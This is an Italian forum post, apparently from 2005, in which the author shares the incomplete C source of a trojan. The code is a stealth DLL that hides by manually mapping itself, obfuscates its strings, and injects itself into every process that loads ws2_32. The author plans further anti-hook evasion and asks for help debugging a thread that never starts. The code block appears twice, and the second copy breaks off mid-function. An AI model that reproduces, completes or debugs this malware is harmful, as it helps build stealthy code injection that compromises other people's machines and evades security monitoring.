71104
01-09-2005, 14:23
dunque, non so se qualche frequentatore abituale del forum si ricorda del cavallo di troia che sto programmando :D asdasdasd
riassumendo: si tratta di una DLL "invisibile" (uso una tattica speciale che spiego qua sotto per renderla invisibile). qui di seguito riporto quello che per ora è il codice incompleto (non vi azzardate a dire che è incasinato perché è ordinatissimo, è uno dei più ordinati che abbia mai scritto!!!! :D).
#ifndef _DEBUG
#define UNICODE
#endif
//#include <windows.h>
#include <winsock2.h>
#pragma comment(lib, "ws2_32.lib")
#include <tlhelp32.h>
#define WM_SOCKET (WM_USER+1)
#define TESTFLAG(mask, flag) ((flag) == ((mask) & (flag)))
#ifdef _DEBUG
#define STEALTHENTRYRVA 0x1019
#else
#define STEALTHENTRYRVA 0x13F0
#endif
#ifdef _DEBUG
#define MYNOP
#else
#define MYNOP __asm __emit 0xEB __asm __emit 0x01 __asm __emit 0xEB
#endif
#pragma data_seg(".shared")
/*
* the attributes of this data section are defined in
* the DEF file and are READ, EXECUTE, SHARED and WRITE.
*/
const UINT uConn = 3;
struct _CONN {
char pszTarget[0x100];
BOOL fActive;
SOCKET s;
} pConn[uConn] = {
{"dnstarget1"},
{"dnstarget2"},
{"dnstarget3"}
}; // sorry, ma gli alias DNS li censuro :D
#pragma data_seg()
typedef struct _REMOTEDATA {
HANDLE hExplorer, hFile, hSection;
DWORD dwMapSize;
PVOID pvPrefAddr;
DWORD dwHdrSize;
} REMOTEDATA, *PREMOTEDATA;
#ifdef __cplusplus
extern "C" {
#endif
LPCTSTR Transcode(LPTSTR psz);
PBYTE GetFinalAddr(PBYTE pb);
BOOL FirstLoad(LPCTSTR pszFileName);
DWORD WINAPI RemoteThreadProc(PREMOTEDATA pData);
BOOL LoadToProcess(HANDLE hTarget, PREMOTEDATA prd);
typedef BOOL (*STEALTHENTRY)(HANDLE, HANDLE, HANDLE, PVOID, BOOL);
__declspec(dllexport) BOOL asdasdasd(HANDLE hExplorer, HANDLE hFile, HANDLE hSection, PVOID pvBaseAddr);
DWORD WINAPI ThreadProc(PVOID pParameter);
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) {
switch (fdwReason) {
case DLL_PROCESS_ATTACH:
{
TCHAR pszFileName[0x400];
GetModuleFileName((HMODULE)hinstDLL, pszFileName, 0x3FF);
FirstLoad(pszFileName);
}
break;
}
return TRUE;
}
LPCTSTR Transcode(LPTSTR psz) {
LPTSTR pszCur = psz;
while (*pszCur) {
TCHAR tc = *pszCur;
MYNOP;
tc = tc ^ 0x1BC0;
*pszCur = tc;
pszCur++;
}
return psz;
}
PBYTE GetFinalAddr(PBYTE pb) {
PBYTE pbRes = pb;
while (1) {
if (0xEB == *pb) { // JMP short near relative (2 bytes)
pb = pb + 2 + *(pb + 1);
}
else if (0xE9 == *pb) { // JMP near relative (5 bytes)
pb = pb + 5 + *(PDWORD)(pb + 1);
}
else {
break;
}
}
return pbRes;
}
BOOL FirstLoad(LPCTSTR pszFileName) {
BOOL fSuccess = FALSE;
HANDLE hFile, hExplorer;
hFile = CreateFile(pszFileName, GENERIC_READ, 0, NULL, OPEN_EXISTING, 0, NULL);
if (hFile && (INVALID_HANDLE_VALUE != hFile)) {
hExplorer = CreateFile(TEXT("explorer.exe"), GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
SetFilePointer(hFile, 0x3C, NULL, FILE_BEGIN);
DWORD dwDummy, dwOffset;
ReadFile(hFile, (PVOID)&dwOffset, 4, &dwDummy, NULL);
SetFilePointer(hFile, dwOffset, NULL, FILE_BEGIN);
IMAGE_NT_HEADERS32 inth32;
ReadFile(hFile, (PVOID)&inth32, sizeof(IMAGE_NT_HEADERS32), &dwDummy, NULL);
IMAGE_SECTION_HEADER lastSecHdr;
SetFilePointer(hFile, dwOffset + sizeof(IMAGE_NT_HEADERS32) +
sizeof(IMAGE_SECTION_HEADER) * (inth32.FileHeader.NumberOfSections - 1), NULL, FILE_BEGIN);
ReadFile(hFile, (PVOID)&lastSecHdr, sizeof(IMAGE_SECTION_HEADER), &dwDummy, NULL);
DWORD dwTotalSize = lastSecHdr.VirtualAddress;
if (lastSecHdr.Misc.VirtualSize > lastSecHdr.SizeOfRawData) {
dwTotalSize += lastSecHdr.Misc.VirtualSize;
}
else {
dwTotalSize += lastSecHdr.SizeOfRawData;
}
HANDLE hSection = CreateFileMapping((HANDLE)0xFFFFFFFF, NULL, PAGE_READWRITE, 0, dwTotalSize, NULL);
if (hSection && (INVALID_HANDLE_VALUE != hSection)) {
PVOID pvInst = MapViewOfFileEx(hSection, FILE_MAP_WRITE, 0, 0, 0, (PVOID)inth32.OptionalHeader.ImageBase);
if (!pvInst) {
pvInst = MapViewOfFile(hSection, FILE_MAP_WRITE, 0, 0, 0);
}
if (pvInst) {
SetFilePointer(hFile, 0, NULL, FILE_BEGIN);
ReadFile(hFile, pvInst, dwOffset + sizeof(IMAGE_NT_HEADERS32) + sizeof(IMAGE_SECTION_HEADER) *
inth32.FileHeader.NumberOfSections, &dwDummy, NULL);
PBYTE pbInst = (PBYTE)pvInst;
fSuccess = TRUE;
PIMAGE_NT_HEADERS32 pinth32 = (PIMAGE_NT_HEADERS32)(pbInst + *(PDWORD)(pbInst + 0x3C));
PIMAGE_SECTION_HEADER pSecHdrs = (PIMAGE_SECTION_HEADER)((PBYTE)pinth32 + sizeof(IMAGE_NT_HEADERS32));
for (UINT u = 0; fSuccess && (u < pinth32->FileHeader.NumberOfSections); u++) {
SetFilePointer(hFile, pSecHdrs[u].PointerToRawData, NULL, FILE_BEGIN);
ReadFile(hFile, (PVOID)(pbInst + pSecHdrs[u].VirtualAddress),
pSecHdrs[u].SizeOfRawData, &dwDummy, NULL);
}
{
PIMAGE_IMPORT_DESCRIPTOR pIDT = (PIMAGE_IMPORT_DESCRIPTOR)(pbInst +
pinth32->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);
for (u = 0; pIDT[u].Characteristics; u++) {
char *pszName = (char*)pbInst + pIDT[u].Name;
if (!lstrcmpiA(pszName, "kernel32") ||
!lstrcmpiA(pszName, "kernel32.dll"))
{
HMODULE hKernel32 = LoadLibrary(TEXT("kernel32.dll"));
PDWORD pdwIAT = (PDWORD)(pbInst + pIDT[u].FirstThunk);
for (; *pdwIAT; pdwIAT++) {
if (TESTFLAG(*pdwIAT, IMAGE_ORDINAL_FLAG32)) {
*pdwIAT = (DWORD)GetProcAddress(hKernel32,
(LPCSTR)((*pdwIAT & ~IMAGE_ORDINAL_FLAG32) & 0xFFFF));
}
else {
*pdwIAT = (DWORD)GetProcAddress(hKernel32,
(LPCSTR)pbInst + (*pdwIAT & ~IMAGE_ORDINAL_FLAG32) + 2);
}
}
break;
}
}
}
for (u = 0; fSuccess && (u < pinth32->FileHeader.NumberOfSections); u++) {
DWORD dwFlags = pSecHdrs[u].Characteristics, dwProtect;
if (TESTFLAG(dwFlags, IMAGE_SCN_MEM_WRITE)) {
if (TESTFLAG(dwFlags, IMAGE_SCN_MEM_SHARED)) {
dwProtect = PAGE_READWRITE;
}
else {
dwProtect = PAGE_WRITECOPY;
}
}
else {
if (TESTFLAG(dwFlags, IMAGE_SCN_MEM_READ)) {
if (TESTFLAG(dwFlags, IMAGE_SCN_MEM_SHARED)) {
dwProtect = PAGE_READONLY;
}
else {
dwProtect = PAGE_WRITECOPY;
}
}
else {
dwProtect = PAGE_NOACCESS;
}
}
fSuccess &= VirtualProtect((PVOID)(pbInst + pSecHdrs[u].PointerToRawData),
pSecHdrs[u].Misc.VirtualSize, dwProtect, &dwDummy);
}
if (fSuccess) {
STEALTHENTRY se = (STEALTHENTRY)(pbInst + STEALTHENTRYRVA);
if (fSuccess = se(hExplorer, hFile, hSection, pvInst, TRUE)) {
HANDLE hss1 = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hss1) {
PROCESSENTRY32 pe = {
sizeof(PROCESSENTRY32)
};
if (Process32First(hss1, &pe)) {
do {
if (!pe.th32ProcessID) {
continue;
}
HANDLE hss2 = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, pe.th32ProcessID);
if (hss2) {
BOOL fInject = FALSE;
MODULEENTRY32 me = {
sizeof(MODULEENTRY32)
};
if (Module32First(hss2, &me)) {
do {
if (!lstrcmpi(me.szModule, TEXT("ws2_32")) ||
!lstrcmpi(me.szModule, TEXT("ws2_32.dll")))
{
fInject = TRUE;
break;
}
}
while (Module32Next(hss2, &me));
if (fInject) {
HANDLE hProcess = OpenProcess(PROCESS_CREATE_THREAD, TRUE, pe.th32ProcessID);
if (hProcess) {
REMOTEDATA rd = {
hExplorer,
hFile,
hSection,
dwTotalSize,
pvInst,
pinth32->OptionalHeader.SizeOfHeaders
};
LoadToProcess(hProcess, &rd);
}
}
}
CloseHandle(hss2);
}
}
while (Process32Next(hss1, &pe));
}
CloseHandle(hss1);
}
}
}
if (!fSuccess) {
UnmapViewOfFile(pvInst);
}
}
if (!fSuccess) {
CloseHandle(hSection);
}
}
if (!fSuccess) {
CloseHandle(hFile);
if (hExplorer && (INVALID_HANDLE_VALUE != hExplorer)) {
CloseHandle(hExplorer);
}
}
}
return fSuccess;
}
DWORD WINAPI RemoteThreadProc(PREMOTEDATA pData) {
PVOID pvInst = MapViewOfFileEx(pData->hSection, FILE_MAP_WRITE, 0, 0, pData->dwMapSize, pData->pvPrefAddr);
if (!pvInst) {
pvInst = MapViewOfFileEx(pData->hSection, FILE_MAP_WRITE, 0, 0, pData->dwMapSize, NULL);
}
if (pvInst) {
STEALTHENTRY se = (STEALTHENTRY)((PBYTE)pvInst + STEALTHENTRYRVA);
se(pData->hExplorer, pData->hFile, pData->hSection, pvInst, FALSE);
}
return 0;
}
BOOL LoadToProcess(HANDLE hTarget, PREMOTEDATA prd) {
BOOL fSuccess = FALSE;
HANDLE hCurrent = GetCurrentProcess();
DuplicateHandle(hCurrent, prd->hExplorer, hTarget, &prd->hExplorer, 0, TRUE, DUPLICATE_SAME_ACCESS);
if (DuplicateHandle(hCurrent, prd->hFile, hTarget, &prd->hFile, 0, TRUE, DUPLICATE_SAME_ACCESS) &&
DuplicateHandle(hCurrent, prd->hSection, hTarget, &prd->hSection, 0, TRUE, DUPLICATE_SAME_ACCESS))
{
PVOID pCode = VirtualAllocEx(hTarget, NULL, 0x1000, MEM_COMMIT, PAGE_READONLY),
pData = VirtualAllocEx(hTarget, NULL, sizeof(REMOTEDATA), MEM_COMMIT, PAGE_READONLY);
if (pCode && pData) {
DWORD dwDummy;
if (WriteProcessMemory(hTarget, pCode, (PVOID)GetFinalAddr((PBYTE)RemoteThreadProc), 0x1000, &dwDummy)) {
if (WriteProcessMemory(hTarget, pData, (PVOID)prd, sizeof(REMOTEDATA), &dwDummy)) {
if (CreateRemoteThread(hTarget, NULL, 0, (PTHREAD_START_ROUTINE)pCode, pData, 0, &dwDummy)) {
fSuccess = TRUE;
}
}
}
}
if (pCode) {
VirtualFreeEx(hTarget, pCode, 0, MEM_RELEASE);
}
if (pData) {
VirtualFreeEx(hTarget, pData, 0, MEM_RELEASE);
}
}
return fSuccess;
}
BOOL asdasdasd(HANDLE hExplorer, HANDLE hFile, HANDLE hSection, PVOID pvBaseAddr) {
BOOL fSuccess = TRUE;
PBYTE pbInst = (PBYTE)pvBaseAddr;
PIMAGE_NT_HEADERS32 pinth32 = (PIMAGE_NT_HEADERS32)(pbInst + *(PDWORD)(pbInst + 0x3C));
PIMAGE_BASE_RELOCATION pReloc = (PIMAGE_BASE_RELOCATION)(pbInst +
pinth32->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress);
if ((PBYTE)pReloc != pbInst) {
int nRelocDataSize = pinth32->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size;
DWORD dwDelta = (DWORD)pbInst - pinth32->OptionalHeader.ImageBase;
while (nRelocDataSize > 0) {
UINT uFixups = (pReloc->SizeOfBlock - 8) / 2;
for (UINT u = 0; fSuccess && (u < uFixups); u++) {
PVOID pv = (PVOID)(pbInst + pReloc->VirtualAddress + (pReloc->TypeOffset[u] & 0x0FFF));
DWORD dwType = pReloc->TypeOffset[u] >> 12;
if (IMAGE_REL_BASED_ABSOLUTE != dwType) {
if (IMAGE_REL_BASED_HIGH == dwType) {
*(PWORD)pv += HIWORD(dwDelta);
}
else if (IMAGE_REL_BASED_LOW == dwType) {
*(PWORD)pv += LOWORD(dwDelta);
}
else if (IMAGE_REL_BASED_HIGHLOW == dwType) {
*(PDWORD)pv += dwDelta;
}
else if (IMAGE_REL_BASED_HIGHADJ == dwType) {
*(PWORD)pv += HIWORD(dwDelta);
*((PWORD)pv + 1) = LOWORD(dwDelta);
}
else {
#ifdef _DEBUG
__asm int 3
#endif
fSuccess = FALSE;
}
}
}
if (!fSuccess) {
break;
}
nRelocDataSize -= pReloc->SizeOfBlock;
pReloc = (PIMAGE_BASE_RELOCATION)((PBYTE)pReloc + pReloc->SizeOfBlock);
}
}
if (fSuccess) {
PIMAGE_IMPORT_DESCRIPTOR pIDT = (PIMAGE_IMPORT_DESCRIPTOR)(pbInst +
pinth32->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);
for (UINT u = 0; pIDT[u].Characteristics; u++) {
HMODULE hModule = (HMODULE)LoadLibraryA((char*)pbInst + pIDT[u].Name);
if (!hModule) {
fSuccess = FALSE;
break;
}
PDWORD pdwILT = (PDWORD)(pbInst + pIDT[u].OriginalFirstThunk),
pdwIAT = (PDWORD)(pbInst + pIDT[u].FirstThunk);
for (UINT v = 0; fSuccess && pdwILT[v]; v++) {
PVOID pv;
if (TESTFLAG(pdwILT[v], IMAGE_ORDINAL_FLAG32)) {
pv = (PVOID)GetProcAddress(hModule, (LPCSTR)((pdwILT[v] & ~IMAGE_ORDINAL_FLAG32) & 0xFFFF));
}
else {
pv = (PVOID)GetProcAddress(hModule, (LPCSTR)pbInst + (pdwILT[v] & ~IMAGE_ORDINAL_FLAG32) + 2);
}
if (pv) {
if (pdwIAT[v] == (DWORD)pv) {
break;
}
else {
pdwIAT[v] = (DWORD)pv;
}
}
else {
fSuccess = FALSE;
}
}
}
}
if (fSuccess) {
DWORD dwDummy;
if (!CreateThread(NULL, 0, (PTHREAD_START_ROUTINE)ThreadProc, NULL, 0, &dwDummy)) {
fSuccess = FALSE;
}
}
return fSuccess;
}
DWORD WINAPI ThreadProc(PVOID pParameter) {
// we're done! :-)
MessageBox(NULL, TEXT("MHUWAHUWAHUWAHUWAHWUAHAU!!! xD"), NULL, MB_ICONWARNING);
return 0;
}
#ifdef __cplusplus
}
#endif
breve spiegazione: la DLL contiene le seguenti funzioni:
- FirstLoad: effettua il primo caricamento in "stealth mode"
- RemoteThreadProc: thread entry per processi esterni (lo uso per iniettare codice in altri processi, tecnica banale e conosciutissima)
- LoadToProcess: duplica la copia locale della DLL in un altro processo
- asdasdasd: questo è il mio entry point speciale: si chiama con un nome insignificante perché l'ho dovuto esportare
- ThreadProc: generico entry point per nuovi thread
più alcune funzioni di "utilità" per così dire:
- Transcode: quando il lavoro sarà finito, codificherò tutte le stringhe presenti nella DLL e userò questa routine per transcodificarli prima e dopo l'uso; in questo modo non saranno leggibili in chiaro
- GetFinalAddr: restituisce l'indirizzo a cui è effettivamente presente una funzione che viene chiamata tramite un certo indirizzo noto passato come parametro a GetFinalAddr
in pratica il funzionamento si svolge come segue: ammettendo che la DLL venga caricata normalmente una sola volta, essa in risposta a DLL_PROCESS_ATTACH chiama FirstLoad; FirstLoad apre il file della DLL stessa, crea un oggetto file mapping nel file di paging, ci scrive il contenuto del file, prima tutti gli headers e poi le sezioni una per una, e binda una parte degli import (per l'esattezza quelli provenienti da kernel32.dll); in questo modo è stata creata nel processo locale la copia invisibile, e per finire l'opera viene chiamato l'entry point asdasdasd nella copia invisibile; a questo punto l'entry point riloca tutta la DLL e finisce di bindarla.
piccola nota: se qualche frequentatore abituale del forum ha letto un mio vecchio thread in cui parlavo di un certo sistema di protezione anti API hooking, sappia che lo applicherò tra breve a questa DLL: per ora ho bindato la DLL normalmente, ma quando avrò risolto il problema che ho modificherò il codice e al posto degli indirizzo effettivi nella IAT ci metterò l'indirizzo di un piccolo stub che impedirà il monitoraggio delle funzioni importate.
ora veniamo al problema: lo scopo finale di asdasdasd è quello di creare il thread; ebbene: lo crea ma non parte e non so perché... :mc: :mc: :muro: :muro:
la CreateThread ritorna nonzero (l'identificatore del nuovo thread, verificato con Spy++), ma il codice di ThreadProc non viene mai eseguito :cry:
sempre stando a quanto dice Spy++, il nuovo thread è in stato di wait, motivazione: "User Request" qualcuno sa cosa vuol dire? ^^
piccolo aiutino plz... :help:
riassumendo: si tratta di una DLL "invisibile" (uso una tattica speciale che spiego qua sotto per renderla invisibile). qui di seguito riporto quello che per ora è il codice incompleto (non vi azzardate a dire che è incasinato perché è ordinatissimo, è uno dei più ordinati che abbia mai scritto!!!! :D).
#ifndef _DEBUG
#define UNICODE
#endif
//#include <windows.h>
#include <winsock2.h>
#pragma comment(lib, "ws2_32.lib")
#include <tlhelp32.h>
#define WM_SOCKET (WM_USER+1)
#define TESTFLAG(mask, flag) ((flag) == ((mask) & (flag)))
#ifdef _DEBUG
#define STEALTHENTRYRVA 0x1019
#else
#define STEALTHENTRYRVA 0x13F0
#endif
#ifdef _DEBUG
#define MYNOP
#else
#define MYNOP __asm __emit 0xEB __asm __emit 0x01 __asm __emit 0xEB
#endif
#pragma data_seg(".shared")
/*
* the attributes of this data section are defined in
* the DEF file and are READ, EXECUTE, SHARED and WRITE.
*/
const UINT uConn = 3;
struct _CONN {
char pszTarget[0x100];
BOOL fActive;
SOCKET s;
} pConn[uConn] = {
{"dnstarget1"},
{"dnstarget2"},
{"dnstarget3"}
}; // sorry, ma gli alias DNS li censuro :D
#pragma data_seg()
typedef struct _REMOTEDATA {
HANDLE hExplorer, hFile, hSection;
DWORD dwMapSize;
PVOID pvPrefAddr;
DWORD dwHdrSize;
} REMOTEDATA, *PREMOTEDATA;
#ifdef __cplusplus
extern "C" {
#endif
LPCTSTR Transcode(LPTSTR psz);
PBYTE GetFinalAddr(PBYTE pb);
BOOL FirstLoad(LPCTSTR pszFileName);
DWORD WINAPI RemoteThreadProc(PREMOTEDATA pData);
BOOL LoadToProcess(HANDLE hTarget, PREMOTEDATA prd);
typedef BOOL (*STEALTHENTRY)(HANDLE, HANDLE, HANDLE, PVOID, BOOL);
__declspec(dllexport) BOOL asdasdasd(HANDLE hExplorer, HANDLE hFile, HANDLE hSection, PVOID pvBaseAddr);
DWORD WINAPI ThreadProc(PVOID pParameter);
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) {
switch (fdwReason) {
case DLL_PROCESS_ATTACH:
{
TCHAR pszFileName[0x400];
GetModuleFileName((HMODULE)hinstDLL, pszFileName, 0x3FF);
FirstLoad(pszFileName);
}
break;
}
return TRUE;
}
LPCTSTR Transcode(LPTSTR psz) {
LPTSTR pszCur = psz;
while (*pszCur) {
TCHAR tc = *pszCur;
MYNOP;
tc = tc ^ 0x1BC0;
*pszCur = tc;
pszCur++;
}
return psz;
}
PBYTE GetFinalAddr(PBYTE pb) {
PBYTE pbRes = pb;
while (1) {
if (0xEB == *pb) { // JMP short near relative (2 bytes)
pb = pb + 2 + *(pb + 1);
}
else if (0xE9 == *pb) { // JMP near relative (5 bytes)
pb = pb + 5 + *(PDWORD)(pb + 1);
}
else {
break;
}
}
return pbRes;
}
BOOL FirstLoad(LPCTSTR pszFileName) {
BOOL fSuccess = FALSE;
HANDLE hFile, hExplorer;
hFile = CreateFile(pszFileName, GENERIC_READ, 0, NULL, OPEN_EXISTING, 0, NULL);
if (hFile && (INVALID_HANDLE_VALUE != hFile)) {
hExplorer = CreateFile(TEXT("explorer.exe"), GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
SetFilePointer(hFile, 0x3C, NULL, FILE_BEGIN);
DWORD dwDummy, dwOffset;
ReadFile(hFile, (PVOID)&dwOffset, 4, &dwDummy, NULL);
SetFilePointer(hFile, dwOffset, NULL, FILE_BEGIN);
IMAGE_NT_HEADERS32 inth32;
ReadFile(hFile, (PVOID)&inth32, sizeof(IMAGE_NT_HEADERS32), &dwDummy, NULL);
IMAGE_SECTION_HEADER lastSecHdr;
SetFilePointer(hFile, dwOffset + sizeof(IMAGE_NT_HEADERS32) +
sizeof(IMAGE_SECTION_HEADER) * (inth32.FileHeader.NumberOfSections - 1), NULL, FILE_BEGIN);
ReadFile(hFile, (PVOID)&lastSecHdr, sizeof(IMAGE_SECTION_HEADER), &dwDummy, NULL);
DWORD dwTotalSize = lastSecHdr.VirtualAddress;
if (lastSecHdr.Misc.VirtualSize > lastSecHdr.SizeOfRawData) {
dwTotalSize += lastSecHdr.Misc.VirtualSize;
}
else {
dwTotalSize += lastSecHdr.SizeOfRawData;
}
HANDLE hSection = CreateFileMapping((HANDLE)0xFFFFFFFF, NULL, PAGE_READWRITE, 0, dwTotalSize, NULL);
if (hSection && (INVALID_HANDLE_VALUE != hSection)) {
PVOID pvInst = MapViewOfFileEx(hSection, FILE_MAP_WRITE, 0, 0, 0, (PVOID)inth32.OptionalHeader.ImageBase);
if (!pvInst) {
pvInst = MapViewOfFile(hSection, FILE_MAP_WRITE, 0, 0, 0);
}
if (pvInst) {
SetFilePointer(hFile, 0, NULL, FILE_BEGIN);
ReadFile(hFile, pvInst, dwOffset + sizeof(IMAGE_NT_HEADERS32) + sizeof(IMAGE_SECTION_HEADER) *
inth32.FileHeader.NumberOfSections, &dwDummy, NULL);
PBYTE pbInst = (PBYTE)pvInst;
fSuccess = TRUE;
PIMAGE_NT_HEADERS32 pinth32 = (PIMAGE_NT_HEADERS32)(pbInst + *(PDWORD)(pbInst + 0x3C));
PIMAGE_SECTION_HEADER pSecHdrs = (PIMAGE_SECTION_HEADER)((PBYTE)pinth32 + sizeof(IMAGE_NT_HEADERS32));
for (UINT u = 0; fSuccess && (u < pinth32->FileHeader.NumberOfSections); u++) {
SetFilePointer(hFile, pSecHdrs[u].PointerToRawData, NULL, FILE_BEGIN);
ReadFile(hFile, (PVOID)(pbInst + pSecHdrs[u].VirtualAddress),
pSecHdrs[u].SizeOfRawData, &dwDummy, NULL);
}
{
PIMAGE_IMPORT_DESCRIPTOR pIDT = (PIMAGE_IMPORT_DESCRIPTOR)(pbInst +
pinth32->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);
for (u = 0; pIDT[u].Characteristics; u++) {
char *pszName = (char*)pbInst + pIDT[u].Name;
if (!lstrcmpiA(pszName, "kernel32") ||
!lstrcmpiA(pszName, "kernel32.dll"))
{
HMODULE hKernel32 = LoadLibrary(TEXT("kernel32.dll"));
PDWORD pdwIAT = (PDWORD)(pbInst + pIDT[u].FirstThunk);
for (; *pdwIAT; pdwIAT++) {
if (TESTFLAG(*pdwIAT, IMAGE_ORDINAL_FLAG32)) {
*pdwIAT = (DWORD)GetProcAddress(hKernel32,
(LPCSTR)((*pdwIAT & ~IMAGE_ORDINAL_FLAG32) & 0xFFFF));
}
else {
*pdwIAT = (DWORD)GetProcAddress(hKernel32,
(LPCSTR)pbInst + (*pdwIAT & ~IMAGE_ORDINAL_FLAG32) + 2);
}
}
break;
}
}
}
for (u = 0; fSuccess && (u < pinth32->FileHeader.NumberOfSections); u++) {
DWORD dwFlags = pSecHdrs[u].Characteristics, dwProtect;
if (TESTFLAG(dwFlags, IMAGE_SCN_MEM_WRITE)) {
if (TESTFLAG(dwFlags, IMAGE_SCN_MEM_SHARED)) {
dwProtect = PAGE_READWRITE;
}
else {
dwProtect = PAGE_WRITECOPY;
}
}
else {
if (TESTFLAG(dwFlags, IMAGE_SCN_MEM_READ)) {
if (TESTFLAG(dwFlags, IMAGE_SCN_MEM_SHARED)) {
dwProtect = PAGE_READONLY;
}
else {
dwProtect = PAGE_WRITECOPY;
}
}
else {
dwProtect = PAGE_NOACCESS;
}
}
fSuccess &= VirtualProtect((PVOID)(pbInst + pSecHdrs[u].PointerToRawData),
pSecHdrs[u].Misc.VirtualSize, dwProtect, &dwDummy);
}
if (fSuccess) {
STEALTHENTRY se = (STEALTHENTRY)(pbInst + STEALTHENTRYRVA);
if (fSuccess = se(hExplorer, hFile, hSection, pvInst, TRUE)) {
HANDLE hss1 = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hss1) {
PROCESSENTRY32 pe = {
sizeof(PROCESSENTRY32)
};
if (Process32First(hss1, &pe)) {
do {
if (!pe.th32ProcessID) {
continue;
}
HANDLE hss2 = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, pe.th32ProcessID);
if (hss2) {
BOOL fInject = FALSE;
MODULEENTRY32 me = {
sizeof(MODULEENTRY32)
};
if (Module32First(hss2, &me)) {
do {
if (!lstrcmpi(me.szModule, TEXT("ws2_32")) ||
!lstrcmpi(me.szModule, TEXT("ws2_32.dll")))
{
fInject = TRUE;
break;
}
}
while (Module32Next(hss2, &me));
if (fInject) {
HANDLE hProcess = OpenProcess(PROCESS_CREATE_THREAD, TRUE, pe.th32ProcessID);
if (hProcess) {
REMOTEDATA rd = {
hExplorer,
hFile,
hSection,
dwTotalSize,
pvInst,
pinth32->OptionalHeader.SizeOfHeaders
};
LoadToProcess(hProcess, &rd);
}
}
}
CloseHandle(hss2);
}
}
while (Process32Next(hss1, &pe));
}
CloseHandle(hss1);
}
}
}
if (!fSuccess) {
UnmapViewOfFile(pvInst);
}
}
if (!fSuccess) {
CloseHandle(hSection);
}
}
if (!fSuccess) {
CloseHandle(hFile);
if (hExplorer && (INVALID_HANDLE_VALUE != hExplorer)) {
CloseHandle(hExplorer);
}
}
}
return fSuccess;
}
DWORD WINAPI RemoteThreadProc(PREMOTEDATA pData) {
PVOID pvInst = MapViewOfFileEx(pData->hSection, FILE_MAP_WRITE, 0, 0, pData->dwMapSize, pData->pvPrefAddr);
if (!pvInst) {
pvInst = MapViewOfFileEx(pData->hSection, FILE_MAP_WRITE, 0, 0, pData->dwMapSize, NULL);
}
if (pvInst) {
STEALTHENTRY se = (STEALTHENTRY)((PBYTE)pvInst + STEALTHENTRYRVA);
se(pData->hExplorer, pData->hFile, pData->hSection, pvInst, FALSE);
}
return 0;
}
BOOL LoadToProcess(HANDLE hTarget, PREMOTEDATA prd) {
BOOL fSuccess = FALSE;
HANDLE hCurrent = GetCurrentProcess();
DuplicateHandle(hCurrent, prd->hExplorer, hTarget, &prd->hExplorer, 0, TRUE, DUPLICATE_SAME_ACCESS);
if (DuplicateHandle(hCurrent, prd->hFile, hTarget, &prd->hFile, 0, TRUE, DUPLICATE_SAME_ACCESS) &&
DuplicateHandle(hCurrent, prd->hSection, hTarget, &prd->hSection, 0, TRUE, DUPLICATE_SAME_ACCESS))
{
PVOID pCode = VirtualAllocEx(hTarget, NULL, 0x1000, MEM_COMMIT, PAGE_READONLY),
pData = VirtualAllocEx(hTarget, NULL, sizeof(REMOTEDATA), MEM_COMMIT, PAGE_READONLY);
if (pCode && pData) {
DWORD dwDummy;
if (WriteProcessMemory(hTarget, pCode, (PVOID)GetFinalAddr((PBYTE)RemoteThreadProc), 0x1000, &dwDummy)) {
if (WriteProcessMemory(hTarget, pData, (PVOID)prd, sizeof(REMOTEDATA), &dwDummy)) {
if (CreateRemoteThread(hTarget, NULL, 0, (PTHREAD_START_ROUTINE)pCode, pData, 0, &dwDummy)) {
fSuccess = TRUE;
}
}
}
}
if (pCode) {
VirtualFreeEx(hTarget, pCode, 0, MEM_RELEASE);
}
if (pData) {
VirtualFreeEx(hTarget, pData, 0, MEM_RELEASE);
}
}
return fSuccess;
}
BOOL asdasdasd(HANDLE hExplorer, HANDLE hFile, HANDLE hSection, PVOID pvBaseAddr) {
BOOL fSuccess = TRUE;
PBYTE pbInst = (PBYTE)pvBaseAddr;
PIMAGE_NT_HEADERS32 pinth32 = (PIMAGE_NT_HEADERS32)(pbInst + *(PDWORD)(pbInst + 0x3C));
PIMAGE_BASE_RELOCATION pReloc = (PIMAGE_BASE_RELOCATION)(pbInst +
pinth32->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress);
if ((PBYTE)pReloc != pbInst) {
int nRelocDataSize = pinth32->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size;
DWORD dwDelta = (DWORD)pbInst - pinth32->OptionalHeader.ImageBase;
while (nRelocDataSize > 0) {
UINT uFixups = (pReloc->SizeOfBlock - 8) / 2;
for (UINT u = 0; fSuccess && (u < uFixups); u++) {
PVOID pv = (PVOID)(pbInst + pReloc->VirtualAddress + (pReloc->TypeOffset[u] & 0x0FFF));
DWORD dwType = pReloc->TypeOffset[u] >> 12;
if (IMAGE_REL_BASED_ABSOLUTE != dwType) {
if (IMAGE_REL_BASED_HIGH == dwType) {
*(PWORD)pv += HIWORD(dwDelta);
}
else if (IMAGE_REL_BASED_LOW == dwType) {
*(PWORD)pv += LOWORD(dwDelta);
}
else if (IMAGE_REL_BASED_HIGHLOW == dwType) {
*(PDWORD)pv += dwDelta;
}
else if (IMAGE_REL_BASED_HIGHADJ == dwType) {
*(PWORD)pv += HIWORD(dwDelta);
*((PWORD)pv + 1) = LOWORD(dwDelta);
}
else {
#ifdef _DEBUG
__asm int 3
#endif
fSuccess = FALSE;
}
}
}
if (!fSuccess) {
break;
}
nRelocDataSize -= pReloc->SizeOfBlock;
pReloc = (PIMAGE_BASE_RELOCATION)((PBYTE)pReloc + pReloc->SizeOfBlock);
}
}
if (fSuccess) {
